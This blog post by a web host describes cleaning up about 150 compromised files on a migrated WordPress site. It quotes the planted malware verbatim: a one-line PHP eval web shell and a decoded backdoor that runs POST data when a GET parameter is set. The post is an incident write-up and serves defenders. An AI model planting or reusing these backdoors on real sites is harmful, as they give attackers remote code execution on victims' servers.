Hack and Hack again


Every month I spend a small portion of time repairing an exploited website. These are usually web sites we have migrated from another hosting provider where our new client had constant issues and little to no support from the previous hosting company. In frustration they sought out our services and we moved the site free of charge into one of our managed hosting server.

Now the fun starts..

When we do a site migration we move everything across and sort out what is a live working site and what is legacy and obsolete. Since most sites we bring across are WordPress we often drop their themes and plugin into an updated WordPress core or we run the core upgrade after migration (and a fresh full backup) so its on the latest version with a more recent PHP version. If the site works then all is well and we continue checking theme code and plugins. If it doesn’t we look through error logs and let the client know the bad news.

The other task we perform is to do a series of file scans looking for exploits and almost all the sites we bring across have several files with an exploit. Today a site came across and almost 150 files were compromised! To cut to the chase, two of the plugins were bogus and provided an easy entry point. So as I explored the files I noticed several had a different exploit, I also spotted something odd, exploit code in front of other, unrelated exploit code. Below is the single line code snippet I found in 150 files:

<?php @eval($_POST[‘dd’]);?>

I’ve written about reverse engineering exploits before and a quick search on this Blog will turn up some, so will a visit to Conetix Web Hosting (who have published some of my other articles) will yield more. Below is a copy of one of the more complex code I found in a number of other files:


The last line of the exploit is cute, its the exploit common to almost all of the other files, and a decrypt of the exploit that gets called first yields:

$fukq = @$_GET[‘fukq’]; if($fukq == ‘t’){echo(@eval($_POST[‘fuckyou4321’]));exit;}$fukq = @$_GET[‘fukq’]; if($fukq == ‘t’){echo(@eval($_POST[‘fuckyou4321’]));exit;}echo apiRequest();function apiRequest(){ if(@$_GET[‘op’] == ‘check’) { return “connectjbmoveisok”; exit();    }}?>

With the exit() call at the end, the code stops so that means the @eval() call after it never gets called, so the file has been compromised by two different people at different times!… talk about bad luck 🙂